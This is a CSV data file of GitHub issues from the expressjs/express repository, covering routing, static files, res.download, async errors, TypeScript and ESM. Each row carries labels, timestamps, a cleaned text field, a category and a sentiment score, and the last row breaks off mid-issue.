expressjs/express,1155377581,Question about typescript,Is it safe to use @types/express? the last package has been update in 2021. There's another way to use express with ESM?,question,2022-03-01 14:02:48+00:00,2022-03-13 19:05:09+00:00,2,question,12.21,question about typescript is it safe to use types express the last package has been update in there s another way to use express with esm,help,0.4404
expressjs/express,1153804954,Wildcards don't work anymore in v5,"Hi,
I'm using express to serve an Angular app. This has a few files which need to be served statically (`index.html`, some css, js and images) and then has its own routing which means that all other URLs need to serve the `index.html`.

In Express 4 I was able to do this:
```TypeScript
app.use(""/"", express.static(""/app/dist/frontend"", {dotfiles: ""allow""}));
app.use(""*"", express.static(""/app/dist/frontend/index.html"", {dotfiles: ""allow""}));
```

However, in Express 5 it always returns 404 for `/myCustomRoute`...
Here are the logs (`debug=*`):
```
  body-parser:json skip empty body +13s
  send stat ""A:\app\dist\frontend\myCustomRoute"" +13s
  finalhandler default 404 +2ms
```

It doesn't help to set `fallthrough: true`...

I'd really like to contribute a fix if you can point me in the right direction. We really need Express 5 because of its improved error handling with promises.","5.x,question,module:router",2022-02-28 08:37:52+00:00,2022-02-28 10:41:26+00:00,11,"5.x,question,module:router",0.0858,wildcards don t work anymore in v hi i m using express to serve an angular app this has a few files which need to be served statically some css js and images and then has its own routing which means that all other urls need to serve the in express i was able to do this however in express it always returns for here are the logs it doesn t help to set i d really like to contribute a fix if you can point me in the right direction we really need express because of its improved error handling with promises,help,0.8655
expressjs/express,1148032079,"Error when running Express App: ""Primordials not defined""","I am having this weird issue running my Express app after the project is built using Rollup.

```
Error: Command failed: node /path/to/project/dist/index.js
fs.js:45
} = primordials;
    ^

ReferenceError: primordials is not defined
```
I wasn't really sure where this was coming from. After reviewing the dependency tree, I noticed that there was an express-handlebars Packsge that dependent on graceful-fs, which depends on the primordials Packsge in question,

How would I fix this issue?",question,2022-02-23 12:29:47+00:00,2022-02-23 15:00:47+00:00,2,question,0.1049,error when running express app primordials not defined i am having this weird issue running my express app after the project is built using rollup i wasn t really sure where this was coming from after reviewing the dependency tree i noticed that there was an express handlebars packsge that dependent on graceful fs which depends on the primordials packsge in question how would i fix this issue,bug,0.497
expressjs/express,1146341077,Express router ignores strict option and incorrectly reports req.baseUrl,"Using this setup:
```javascript
app.set(""strict routing"", true);

let router_x = express.Router({strict: true});

router_x.use(""/j/1"", index_get);
router_x.use(""/j"", index_get);
router_x.use(not_found);

app.use(""/x"", router_x);

app.get(""/a/1"", index_get);
app.get(""/a"", index_get);
app.get(""/"", index_get);
app.use(not_found);
```
and requesting `/x/j/1`, reports `req.baseUrl` as `/x/j/1` and `req.path` as `/`. I expect the base URL reported as the mount point for the router instance, which is `/x` in this case, but instead it just uses the current route as the base URL. 

Moreover, the router is configured with `strict: true`, but it accepts any additional path segments. For example, I can request `/x/j/3/2/1` and it will report `req.baseUrl` as `/x/j` and `req.path` as `/3/2/1`.

The same logic against the application router in the example above works as expected, so requesting `/a/` and `/a/1/` both return `404` and `/a` and `/a/1` both work properly.

I found this issue about the strict option not being respected if a router is configured with the `/` path, but this is not the case here, so it seems to be a different issue. 

https://github.com/expressjs/express/issues/2281

Here's a more complete sample that shows strict routing working properly at the application level and two routers, one with strict routing and one without, both working the same way.

[express-route-opts-bug.zip](https://github.com/expressjs/express/files/8112824/express-r... [TRUNCATED]",question,2022-02-22 00:53:45+00:00,2022-02-22 00:58:56+00:00,9,question,0.0036,express router ignores strict option and incorrectly reports req baseurl using this setup and requesting reports as and as i expect the base url reported as the mount point for the router instance which is in this case but instead it just uses the current route as the base url moreover the router is configured with but it accepts any additional path segments for example i can request and it will report as and as the same logic against the application router in the example above works as expected so requesting and both return and and both work properly i found this issue about the strict option not being respected if a router is configured with the path but this is not the case here so it seems to be a different issue here s a more complete sample that shows strict routing working properly at the application level and two routers one with strict routing and one without both working the same way express route opts bug zip truncated,help,-0.7123
expressjs/express,1146293240,how to render conditional templates in res.render(),"Hi everyone, I'm a student in web development, I built a web application, where I tried to implement in one of the route handler function a way to render 2 templates whenever its condition is fulfilled, but I didn't figure out how to reach my goal, so I tried like below, but it didn't work:
```js
exports.myBookedTravels = catchAsyncHandler( async(req, res, next) => {
  // find all booked travels based on user id
  const bookedTravels = await Booking.find({ user: req.user.id });

  // find all travels that includes the above id (bookedTravels)
  const travelsIds = bookedTravels.map(item => item.travel);
  const travels = await Travel.find({ _id: { $in: travelsIds } });

  // Render the page that contains the booked travels || an empty page with a simple text
  if (!bookedTravels) res.render('nobooking')
  else {
    res.status(200).render('overview', {
      title: 'My travels',
      travels
    });
  }
});
```
Sorry, I'm a beginner and I try to find an adequate solution to my case but I didn't, and I'll appreciate your suggestions",,2022-02-21 23:03:34+00:00,2022-02-21 23:06:18+00:00,0,nan,0.0019,how to render conditional templates in res render hi everyone i m a student in web development i built a web application where i tried to implement in one of the route handler function a way to render templates whenever its condition is fulfilled but i didn t figure out how to reach my goal so i tried like below but it didn t work sorry i m a beginner and i try to find an adequate solution to my case but i didn t and i ll appreciate your suggestions,help,0.9204
expressjs/express,1145890668,res.download building a wrong path when root options is set,"Hello everyone!

I just ran into a bug in `res.download` which is also an inconsistency between `res.download` and `res.sendFile`. 

## The bug

`res.download` breaks for relative paths when specifying a root in the options argument. Express tries to access the following path: `{options.root}/{process.cwd()}/{path}`. Expected is `{options.root}/{path}`


## Example

In the example below I try to access the file `/dev/null`. The following Error is raised when navigating to `/download` 

```
Error: ENOENT: no such file or directory, stat '/dev/home/user/my-project/null'
```


```js
const express = require('express')                                                                            
                                                                                                              
const app = express()                                                                                         
  .get('/', (req, res) => {                                                                                   
    res.send(`                                                                                                
<ul>                                                                                                          
  <li><a href=""/sendFile"">res.sendFile</a></li>                                                               
  <li><a href=""/download"">res.download</a></li>                                                               ... [TRUNCATED]","bug,enhancement",2022-02-21 14:44:07+00:00,2022-04-24 22:48:05+00:00,7,"bug,enhancement",62.3361,res download building a wrong path when root options is set hello everyone i just ran into a bug in which is also an inconsistency between and the bug breaks for relative paths when specifying a root in the options argument express tries to access the following path expected is example in the example below i try to access the file the following error is raised when navigating to js const express require express const app express get req res res send res sendfile res download truncated,bug,-0.9274
expressjs/express,1145881941,Middleware on app.use that will only get called on '/'?,"So I'm serving a web page on the root route '/', and this page had an authentication middleware. Using regular 

`app.use('/', authorizeFront, express.static('../client/dist'));`

would cause every route to be authenticated, which is what I'm trying to avoid. I've also tried using regex to match exactly '/' but it doesn't seem to be working.

`app.use('/^/$/', authorizeFront, express.static('../client/dist'));`

Is there any official way to do this? Thanks!",question,2022-02-21 14:36:10+00:00,2022-03-25 04:10:39+00:00,1,question,31.5656,middleware on app use that will only get called on so i m serving a web page on the root route and this page had an authentication middleware using regular would cause every route to be authenticated which is what i m trying to avoid i ve also tried using regex to match exactly but it doesn t seem to be working is there any official way to do this thanks,help,0.6076
expressjs/express,1145167815,Unable to serve base64 pngs,"I'm trying to serve a dynamically generated png file, but seem to be missing something.  The data appears to be sent, but the browser (Chrome) just renders a broken image icon.

```
const express = require('express');
const app = express();
const port = 3000;

app.get('/', function(req, res) {
  res.send(`<img src=""/png/""/>`);
});

app.get(""/png/"", function(req, res) {
  console.log(""request img"");
  const img = ""iVBORw0KGgoAAAANSUhEUgAAANwAAADcCAYAAAAbWs+BAAAGwElEQVR4Ae3cwZFbNxBFUY5rkrDTmKAUk5QT03Aa44U22KC7NHptw+DRikVAXf8fzC3u8Hj4R4AAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgZzAW26USQT+e4HPx+Mz+RRvj0e0kT+SD2cWAQK1gOBqH6sEogKCi3IaRqAWEFztY5VAVEBwUU7DCNQCgqt9rBKICgguymkYgVpAcLWPVQJRAcFFOQ0jUAsIrvaxSiAqILgop2EEagHB1T5WCUQFBBflNIxALSC42scqgaiA4KKchhGoBQRX+1glEBUQXJTTMAK1gOBqH6sEogKCi3IaRqAWeK+Xb1z9iN558fHxcSPS9p2ezx/ROz4e4TtIHt+3j/61hW9f+2+7/+UXbifjewIDAoIbQDWSwE5AcDsZ3xMYEBDcAKqRBHYCgtvJ+J7AgIDgBlCNJLATENxOxvcEBgQEN4BqJIGdgOB2Mr4nMCAguAFUIwnsBAS3k/E9gQEBwQ2gGklgJyC4nYzvCQwICG4A1UgCOwHB7WR8T2BAQHADqEYS2AkIbifjewIDAoIbQDWSwE5AcDsZ3xMYEEjfTzHwiK91B8npd6Q8n8/oGQ/ckRJ9vvQwv3BpUfMIFAKCK3AsEUgLCC4tah6BQkBwBY4lAmkBwaVFzSNQCAiuwLFEIC0guLSoeQQKAcEVOJYIpAUElxY1j0AhILgCxxKBtIDg0qLmESgEBFfgWCKQFhBcWtQ8AoWA4AocSwTSAoJLi5pHoBAQXIFjiUBaQHBpUfMIFAKCK3AsEUgLCC4tah6BQmDgTpPsHSTFs39p6fQ7Q770UsV/Ov19X+2OFL9wxR+rJQJpAcGlRc0jUAgIrsCxRCAtILi0qHkECgHBFTiWCKQFBJcWNY9AISC4AscSgbSA4NKi5hEoBARX4FgikBYQXFrUPAKFgOAKHEsE0gKCS4uaR6AQEFyBY4lAWk... [TRUNCATED]",,2022-02-20 23:33:39+00:00,2022-02-20 23:37:05+00:00,4,nan,0.0024,unable to serve base pngs i m trying to serve a dynamically generated png file but seem to be missing something the data appears to be sent but the browser chrome just renders a broken image icon const express require express const app express const port app get function req res res send app get png function req res console log request img const img ivborw kggoaaaansuheugaaanwaaadccayaaaabws baaagweleqvr ae cwzfbnxbfuy rkrdtmkauk qt aa u kc nhptw drikvaxf fzc u hj r aaaqiecbagqiaaaqiecbagqiaaaqiecbagqiaaaqiecbagqiaaaqiecbagqiaaaqiecbagqiaaaqiecbagqiaaaqiecbagqiaagzzaw usqt e hpx mz rrvj e kt sd cwaqk gobqh seogkci iarqawefzty vavebwuu dcnqcgqt rbkicgguymkygvpaclwpvqjracffoq juasirvaxsiaqilgop eeaghb t wcuqfbbflnixalsc scqgaia kkchhgobqrx glebuqxjttmak gobqh seogkci iarqawek xb z in fhxcsps p ezx roz e ttiht j hw f uxbifjewidaoibqdwswe acdsz xmyebdcakqrbhycgtvj j agidgblcnjlatenxoxvcebgqen bqjigdgob mr nmcaguafuiwnsbas k e gqebwq ggklgjyc nyzvcqwicg a ugcowhb wr t baqhadqeys akibifjewidaoibqdwswe acdsz xmyeejftzhwik b npd q n ogq ckrj vvqwv bpufmifakck aseuglcc tah bqkbwby lamkbwavfzsnqcaiuwlfeic gulsoeqqkacevojyipauelxy j ahilgcxxkbtidg qlmesgebffgwckqfhbcwtq aowa aocswtsaojli phobaqxifjiubaqhbpufmifakck aseuglcc tah bqmdgtppshstfs p fq q usv ov x ofl wxr rjqjpacglrc juagirscxrcatili qhkecghbftiwckqfbjcwny aisc ascsgbsa nki heobarx fgikbyqxfrupakfgoakhese gkcs uar aqefyby lawk truncated,others,-0.3612
expressjs/express,1145089712,5.x typescript,Would there a PR porting the codebase to typescript for 5.x be well received?,,2022-02-20 17:53:00+00:00,2022-02-20 17:55:29+00:00,1,nan,0.0017,x typescript would there a pr porting the codebase to typescript for x be well received,others,0.2732
expressjs/express,1141519577,Handle async error by default,"Right now, the following code will crash and stops the whole server:

```
const someAsyncFunc = async () => { throw new Error() }

app.get('/', async (req, res, next) => {
  await someAsyncFunc();
});
```

I believe this is not desirable for 99% of the developers.

From [official doc on error handling](https://expressjs.com/en/guide/error-handling.html):

> For errors returned from asynchronous functions invoked by route handlers and middleware, **you must pass them to the next() function**, where Express will catch and process them.

Basically developers have to repeat this in all async handlers:

```
app.get('/', async (req, res, next) => {
  try {
    await someAsyncFunc();
  } catch (err) {
    next(err);
  }
});
```

To prevent repeating the code, the best I can do is to use [express-async-handler](https://github.com/Abazhenov/express-async-handler), which is basically a wrapper to do the above:

```
const asyncHandler = require('express-async-handler');

app.get('/', asyncHandler(async (req, res, next) => {
  await someAsyncFunc();
}));
```

In synchronous handler, exceptions are already auto-handled by Express. Is there any reason we do not do the same in async case? Why ask user to explicitly do this repeatedly themselves?

If there is no specific reason, I would suggest auto-handling async exception as a feature request.",,2022-02-17 15:51:09+00:00,2022-02-17 15:58:43+00:00,1,nan,0.0053,handle async error by default right now the following code will crash and stops the whole server i believe this is not desirable for of the developers from official doc on error handling for errors returned from asynchronous functions invoked by route handlers and middleware you must pass them to the next function where express will catch and process them basically developers have to repeat this in all async handlers to prevent repeating the code the best i can do is to use express async handler which is basically a wrapper to do the above in synchronous handler exceptions are already auto handled by express is there any reason we do not do the same in async case why ask user to explicitly do this repeatedly themselves if there is no specific reason i would suggest auto handling async exception as a feature request,bug,-0.8971
expressjs/express,1140874647,how Port multiplexing with node express？,"how Port multiplexing with node express？

I want to use one port for web netcat and express  web app

","discuss,question",2022-02-17 04:50:59+00:00,2022-02-17 15:48:38+00:00,1,"discuss,question",0.4567,how port multiplexing with node express how port multiplexing with node express i want to use one port for web netcat and express web app,help,0.0772
expressjs/express,1140803041,"void' is not assignable to type 'Send<any, Response<any, Record<string, any>>>","I am working on some middleware that caches responses and coding in Typescript. My `res.send` line however, reports an error in Visual Studio.

```
Type '(body: any) => void' is not assignable to type 'Send<any, Response<any, Record<string, any>>>'.
  Type 'void' is not assignable to type 'Response<any, Record<string, any>>'.ts(2322)
```

If I add a return statement to the code, the error goes away (`return body`). But then this piece of code runs twice (if I put console.log('test') in there, I see the message twice and subsequently it is caching items twice), once for the return statement and once for `res.sendResponse(body)` it seems. 

The basic idea of this piece comes from here in JS: https://medium.com/the-node-js-collection/simple-server-side-cache-for-express-js-with-node-js-45ff296ca0f0

```
        res.sendResponse = res.send
        res.send = (body) => {
          res.sendResponse(body)
          if (req.method === 'GET') {
            // Only use cache on GET requests. When not GET, this middleware only acts as a queue.
            requestCache.push({
              cachedData: body, // Add the new item to the permanent cache
              queueName: req.url, // Add the request URL to the item for later reference
              runtime: new Date().getTime() // Add the time the request was made
            })
          }
        }
```

",question,2022-02-17 02:36:42+00:00,2022-02-17 02:40:10+00:00,7,question,0.0024,void is not assignable to type send i am working on some middleware that caches responses and coding in typescript my line however reports an error in visual studio if i add a return statement to the code the error goes away but then this piece of code runs twice if i put console log test in there i see the message twice and subsequently it is caching items twice once for the return statement and once for it seems the basic idea of this piece comes from here in js,help,-0.4588
expressjs/express,1140293545,[feature request] disable decode_param for path routing,"I have some special urls thats get mapped to local files like image50%.png.

```
app.get('/open/:path(*)', (req, res) => {})
```

But it doesn't work because express automaticly calls decode_param.
It throws `Failed to decode param`.","question,module:router",2022-02-16 16:41:08+00:00,2024-08-23 09:01:42+00:00,7,"question,module:router",918.6809,feature request disable decode param for path routing i have some special urls thats get mapped to local files like image png but it doesn t work because express automaticly calls decode param it throws,feature,0.3818
expressjs/express,1140074038,HTTP HEAD request giving ERR_STREAM_WRITE_AFTER_END error with node express 4.x,"I have a health check route for my application which we use to check the application's health, it's a ```GET``` route but clients send ```HTTP HEAD``` call to the same route but I am getting ```ERR_STREAM_WRITE_AFTER_END``` error. When digging into that I found out whenever I try to send response data for type ```HEAD``` call this error comes but couldn't find the actual reason for the same. Can someone explain why it's behaving this way? The sample code is given below.

Code with error, it's giving error even with ```res.json``` and ```res.send```

````
router.get('/health', function (req, res) {
    res.send({
        message: ""working great!!!""
    });
    res.end();
});
````",help wanted,2022-02-16 14:12:03+00:00,2022-03-27 06:10:21+00:00,8,help wanted,38.6655,http head request giving err stream write after end error with node express x i have a health check route for my application which we use to check the application s health it s a route but clients send call to the same route but i am getting error when digging into that i found out whenever i try to send response data for type call this error comes but couldn t find the actual reason for the same can someone explain why it s behaving this way the sample code is given below code with error it s giving error even with and,bug,-0.9349
expressjs/express,1136316482,Needs to has a better static,Express is nice and I use it most on my projects but it need to get rid of making static file in roughts I dont want to make a folder for every html file. ,awaiting more info,2022-02-13 19:16:06+00:00,2022-03-13 19:05:36+00:00,2,awaiting more info,27.9927,needs to has a better static express is nice and i use it most on my projects but it need to get rid of making static file in roughts i dont want to make a folder for every html file,others,0.3647
expressjs/express,1128471221,TypeError: callSite.getFileName is not a function,"Tried changing node version to 10,12,14. No luck.",awaiting more info,2022-02-09 12:21:20+00:00,2022-03-13 19:06:04+00:00,4,awaiting more info,32.2811,typeerror callsite getfilename is not a function tried changing node version to no luck,bug,0.2023
expressjs/express,1127799858,No default jsDelivr CDN file set,"[This package](https://www.jsdelivr.com/package/npm/express) doesn't have a [default file](https://www.jsdelivr.com/features#publishing-packages) set. You can set it via `jsdelivr`, `browser`, or `main` field in `package.json`",question,2022-02-08 21:56:58+00:00,2022-02-08 22:06:13+00:00,2,question,0.0064,no default jsdelivr cdn file set this package doesn t have a default file set you can set it via or field in,help,-0.296
expressjs/express,1124940400,npm ERR! syscall rename,"```js
~ $ npm install express --save
npm ERR! code ENOTEMPTY
npm ERR! syscall rename
npm ERR! path /data/data/com.termux/files/home/node_modules/ansi-styles
npm ERR! dest /data/data/com.termux/files/home/node_modules/.ansi-styles-RPQb6dFf
npm ERR! errno -39
npm ERR! ENOTEMPTY: directory not empty, rename '/data/data/com.termux/files/home/node_modules/ansi-styles' -> '/data/data/com.termux/files/home/node_modules/.ansi-styles-RPQb6dFf'

npm ERR! A complete log of this run can be found in:
npm ERR!     /data/data/com.termux/files/home/.npm/_logs/2022-02-05T14_08_26_599Z-debug-0.log
```",,2022-02-05 14:11:56+00:00,2022-02-05 18:45:08+00:00,1,nan,0.1897,npm err syscall rename,others,0.0
expressjs/express,1124932368, Unable to send a 404 error using Node.js with express #40 ,"Using VS Code, WIN10, express@4.17.2 , Node v16.13.1, NPM 8.1.2 and Simple Rest Client v1.4.2

I am learning therefore I do not know if this is a Node or Express issue.
['object object ]' is returned in the response instead of the expected status code and message

The error line --> return res.status(404).send({message: 'user does not exist'});
also tried --> return res.status(404).json({message: 'user does not exist'});

Images of found (good) and not found (bad) posted on postimage.org https://postimg.cc/gallery/z855xh2

The complete function where the error occurs.
```js
router.get('/accounts/:user', (req, res) => {
const user = req.params.user;
console.log('at ' + user);
const account = db[user];
if (!account) {
console.log('about to send 404 response');
  return res.status(404).send({message: 'user does not exist'});
}
return res.json(account);
});
```",question,2022-02-05 13:34:07+00:00,2022-02-15 17:07:34+00:00,7,question,10.1482,unable to send a error using node js with express using vs code win express node v npm and simple rest client v i am learning therefore i do not know if this is a node or express issue object object is returned in the response instead of the expected status code and message the error line return res status send message user does not exist also tried return res status json message user does not exist images of found good and not found bad posted on postimage org the complete function where the error occurs,bug,0.1406
expressjs/express,1124640190,feat: Ignore folders created by ideas,"Just update the .gitignore file so it doesn't see unnecessary folders.

![Screenshot_20220204_181555](https://user-images.githubusercontent.com/13888035/152604151-2df0a04e-eef3-4eef-a466-77dd62c13d94.png)",,2022-02-04 21:42:14+00:00,2022-02-04 21:43:41+00:00,1,nan,0.001,ignore folders created by ideas just update the gitignore file so it doesn t see unnecessary folders screenshot,feature,-0.128
expressjs/express,1124416696,EADDRINUSE code in express,"
```js
// using nodejs we can write code to retry to listen on port using
const server = http.createServer().listen(3000);
server.on('error',function(err) {
    if (err.code === 'EADDRINUSE') {
        console.log('Address in use, retrying...');
        setTimeout(() => {
            server.close();
            server.listen(3000, 'localhost');
        }, 1000);
    }
});
```
how to do this same thing in express 
```js
const app = require('express')();
app.on('err',function(err) {
console.log('error occured'); // this doesnt work
});
```",question,2022-02-04 16:59:02+00:00,2022-02-04 17:02:22+00:00,4,question,0.0023,eaddrinuse code in express how to do this same thing in express,help,0.0
expressjs/express,1124140542,[suggestion] send/respond with blob,"NodeJS now has support for Blob's globally, 
...earlier you had to load it from `require('buffer').Blob`

it would be cool / awesome if it where possible to respond with a Blob by doing something like

```js
const str = `<h1>Hello World</h1>`
const blob = new Blob([str], { type: 'text/html' })
const file = new File([blob], 'index.html', { type: 'text/html' })

app.get('/', (req, res) => {
  res.send(blob) // or:
  res.download(blob, 'name.html')
  res.download(file) // name taken from file instead
})
```

Doing this would take care of 
1. Setting the response header `content-type` to the blob's type (only if content-type haven't been set manually)
2. Setting the response header `content-length` to the blob's size
3. and pipe the data from `blob.stream()` to the response
4. if you used `res.download(blob)` then it would also add content-disposition attachment header

<s>it's also looking like if node will at some point add a way of getting blobs from the filesystem also, but i don't know when.
ref: https://github.com/nodejs/node/issues/39015</s>

edit: NodeJS just shipped `fs.openAsBlob(path, { type })` in v20+
",ideas,2022-02-04 12:17:45+00:00,2025-01-20 16:16:45+00:00,10,ideas,1081.166,suggestion send respond with blob nodejs now has support for blob s globally earlier you had to load it from it would be cool awesome if it where possible to respond with a blob by doing something like doing this would take care of setting the response header to the blob s type only if content type haven t been set manually setting the response header to the blob s size and pipe the data from to the response if you used then it would also add content disposition attachment header it s also looking like if node will at some point add a way of getting blobs from the filesystem also but i don t know when ref edit nodejs just shipped in v,others,0.85
expressjs/express,1123651818,Having 'index.html' file in root directory of static assets causes weird behaviors,"```
app.js
frontend/
    index.html
    home.html
````
Suppose I have the above file structure in my project, and the following code in app.js.
```
const morgan = require('morgan');
const express = require('express');

const app = express();
app.use(express.static('frontend'));
app.use(morgan('dev'));

app.listen(3000, () => {
    console.log('Server listeing at 3000');
});

```
Clearly, there's not a single HTTP request handling in app.js. But if you type `http://localhost:3000` in your browser, it automatically loads the index.html page for you, without logging any HTTP request. It should have displayed `Cannot GET /`, but it doesn't.
If you rename the `index.html` to any other name, say `login.html`, then going to `http://localhost:3000` displays the message `Cannot GET /`, which is as expected.",question,2022-02-03 23:19:29+00:00,2022-02-03 23:23:35+00:00,3,question,0.0028,having index html file in root directory of static assets causes weird behaviors suppose i have the above file structure in my project and the following code in app js clearly there s not a single http request handling in app js but if you type in your browser it automatically loads the index html page for you without logging any http request it should have displayed but it doesn t if you rename the to any other name say then going to displays the message which is as expected,help,0.2144
expressjs/express,1122531007,Settings includes values on Object.prototype,"App settings pull from `Object.prototype` if they're missing on the `settings` object.

```js
const app = require('express')();

app.get('hasOwnProperty');
// => [Function: hasOwnProperty]

app.enabled('hasOwnProperty');
// => true
```

Is this intentional? If not, I'm happy to help fix.",enhancement,2022-02-03 00:39:16+00:00,2022-04-24 22:48:05+00:00,7,enhancement,80.9228,settings includes values on object prototype app settings pull from if they re missing on the object is this intentional if not i m happy to help fix,feature,-0.3085
expressjs/express,1120640585,Route paths do only prefix matching - unable to add $ to last route param (to mark end of route),"For example if you have a route like:
`/app/:param1`
This route is matched not only by `/app/[value]`, but also by `/app/[value]/any/long/trailing/stuff/that/should/not/be/part/of/route`.
I tried to explicitly tell express, that the route should end with param1 without any trailing parameters (or slashes)  by modifying the route like this: `/app/:param1$`, but it looks like this is not possible.
At least in an TypeScript environment Typescript interprets the `$` as a part of the route parameter name (thus the parameter is expected to be accessed via `req.params.param1$` instead of `req.params.param1`).

`express` version:  4.17.2
`@types/express` version: 4.17.13",,2022-02-01 12:59:09+00:00,2022-02-01 13:14:00+00:00,6,nan,0.0103,route paths do only prefix matching unable to add to last route param to mark end of route for example if you have a route like this route is matched not only by but also by i tried to explicitly tell express that the route should end with param without any trailing parameters or slashes by modifying the route like this but it looks like this is not possible at least in an typescript environment typescript interprets the as a part of the route parameter name thus the parameter is expected to be accessed via instead of version version,bug,0.7227
expressjs/express,1119021899,Chrome is not set my cookies on Frontend (ReactJs) which is come from Backend (ExpressJs) application.,"Is there anyone please tell me why my chrome is not setting my cookie on the client-side ?? I try many times to see all possible solutions but still got the same issue in chrome(client site).

**My DevTool Header.** **why both table is not matched ????**
![cose1](https://user-images.githubusercontent.com/35251956/151747180-f771c485-90e5-48e6-9499-1367c7504db2.png)

**Chrome Issue says**
![cose2](https://user-images.githubusercontent.com/35251956/151747210-d89f4cb4-c9ee-4d60-8178-00a8942e613d.png)

**Response Headers**
![cose3](https://user-images.githubusercontent.com/35251956/151747259-2c078875-20f8-48ca-bcfb-ecd13796200f.png)

**Request Headers**
![cose4](https://user-images.githubusercontent.com/35251956/151747269-2e065354-4cb4-4518-b88f-a77c3029faf7.png)

**Cors Setting in Express Backend**
![cose5](https://user-images.githubusercontent.com/35251956/151747282-e25dde8c-9fed-4c5e-b121-8a16804b0530.png)

**Cookie config in Express Backend**
![cose6](https://user-images.githubusercontent.com/35251956/151747301-3f737346-1401-4775-a97d-e63d73b8e76c.png)

**Axios Call in Frontend**
![cose7](https://user-images.githubusercontent.com/35251956/151747334-ac2c7aa7-42e3-494d-9169-4d0447f1ea0a.png)

**Frontend Dependencies**
![cose8](https://user-images.githubusercontent.com/35251956/151747492-58bbcabd-4d0e-4548-8f04-cd1172c45d44.png)

**Backend Dependencies**
![cose9](https://user-images.githubusercontent.com/35251956/151747500-295d38a3-3d5a-42a7-ab88-4461fb... [TRUNCATED]","help wanted,question",2022-01-31 06:17:47+00:00,2022-02-22 04:37:04+00:00,3,"help wanted,question",21.9301,chrome is not set my cookies on frontend reactjs which is come from backend expressjs application is there anyone please tell me why my chrome is not setting my cookie on the client side i try many times to see all possible solutions but still got the same issue in chrome client site my devtool header why both table is not matched cose chrome issue says cose response headers cose request headers cose cors setting in express backend cose cookie config in express backend cose axios call in frontend cose frontend dependencies cose backend dependencies cose truncated,help,0.25
expressjs/express,1118248626,support for Babel 7 / ES6,"trying to use common module exports (export function test() {{) using express.js and Babel version 7, but transpiling using Babel caused errors pop up from express's dependencies.

Express's dependency bodyparser (indierect ) and depd (direct dependency)
```
index.js:252
  var file = callSite.getFileName() || '<anonymous>'
                      ^

TypeError: callSite.getFileName is not a function
```

```
  ""dependencies"": {
    ""@babel/cli"": ""^7.16.8"",
    ""@babel/node"": ""^7.16.8"",
    ""ejs"": ""^3.1.6"",
    ""express"": ""^4.17.1""
  },
  ""devDependencies"": {
    ""@babel/core"": ""^7.16.12"",
    ""@babel/preset-env"": ""^7.16.11"",
    ""nodemon"": ""^2.0.7""
  }
  ""scripts"": {
    ""start"": ""nodemon index.js --exec babel-node"",
  },
```
babel's settings for reference:
```
{
  ""presets"": [
    ""@babel/preset-env""
  ]
}
```",,2022-01-29 15:29:35+00:00,2022-01-29 15:44:07+00:00,1,nan,0.0101,support for babel es trying to use common module exports export function test using express js and babel version but transpiling using babel caused errors pop up from express s dependencies express s dependency bodyparser indierect and depd direct dependency babel s settings for reference,help,-0.3071
expressjs/express,1116698003,Some test files fail if I run them seperately,"I was doing local development, If I execute some test files separately they fail with TypeError exception

example:
 ```
  app
    .engine(ext, fn)
      1) should map a template engine


  0 passing (12ms)
  1 failing

  1) app
       .engine(ext, fn)
         should map a template engine:
     Uncaught TypeError: Cannot read property 'equal' of undefined
      at /private/tmp/express/test/app.engine.js:25:20
      at /private/tmp/express/test/app.engine.js:10:5
      at FSReqCallback.readFileAfterClose [as oncomplete] (internal/fs/read_file_context.js:73:3)

```
I see `should` has not been imported in some files so that is the reason, it would we better if we import it in the test  files wherever required and not make files dependent on each other.",tests,2022-01-27 20:17:13+00:00,2022-02-02 07:00:23+00:00,0,tests,5.4466,some test files fail if i run them seperately i was doing local development if i execute some test files separately they fail with typeerror exception example i see has not been imported in some files so that is the reason it would we better if we import it in the test files wherever required and not make files dependent on each other,others,-0.4767
expressjs/express,1113466314,Express. static invalid in PM2 production environment,"
Is what circumstance can make static resource is invalid, I met this problem in a production environment, the path I'm sure the server is a path, through the ""domain name"" (HTTTP: / / www.xx.xx/resourceName) ""access return status code is"" 404 "", However, in a development environment access through (""localhost:9000/ resource name "") is fine

my  code:
app.use(express.static(path.join(__dirname, '../public')));",question,2022-01-25 06:08:08+00:00,2022-02-02 06:59:51+00:00,7,question,8.0359,express static invalid in pm production environment is what circumstance can make static resource is invalid i met this problem in a production environment the path i m sure the server is a path through the domain name htttp www xx xx resourcename access return status code is however in a development environment access through localhost resource name is fine my code app use express static path join dirname public,help,0.2903
expressjs/express,1112310718,Server.close doesn't clean idle keep-alive connections,"Currently, there is no way to gracefully shutdown Node.js apps written with Express.

`server.close()`

Will hold for hours, since there keep-alive connections holding it.

What about adding new feature to fix the server.close and make it a robust one?",question,2022-01-24 08:17:47+00:00,2022-01-24 14:08:53+00:00,4,question,0.2438,server close doesn t clean idle keep alive connections currently there is no way to gracefully shutdown node js apps written with express will hold for hours since there keep alive connections holding it what about adding new feature to fix the server close and make it a robust one,help,0.9186
expressjs/express,1110705788,Native support for esm clients,"Attempting to import from express from an esm package, does not currently work:

```javascript
import express from ""express"";
```

Taking a look at express's root index.js reveals:

```javascript
module.exports = require('./lib/express');
```

this is not compatible with esm clients. The client needs to use the esm require workaround, but the user may not be aware of what this is. Eg, I am currently using rollup/typescript in an esm module and attempted to import express and was faced with a confusing error message that did not accurately reflect the problem at hand:

```
[16:21:47] Error: Unexpected token (Note that you need @rollup/plugin-json to import JSON files)
    at error (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:10332:30)
    at Module.error (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:12251:16)
    at Module.tryParse (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:12654:25)
    at Module.setSource (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:12557:24)
    at ModuleLoader.addModuleSource (file:///home/plastikfan/dev/tutorials/auth0/auth0-node-express-tut/node_modules/rollup/dist/es/shared/rollup.js:22021:20)
```

The user needs to esm require instead (but really ought not to):
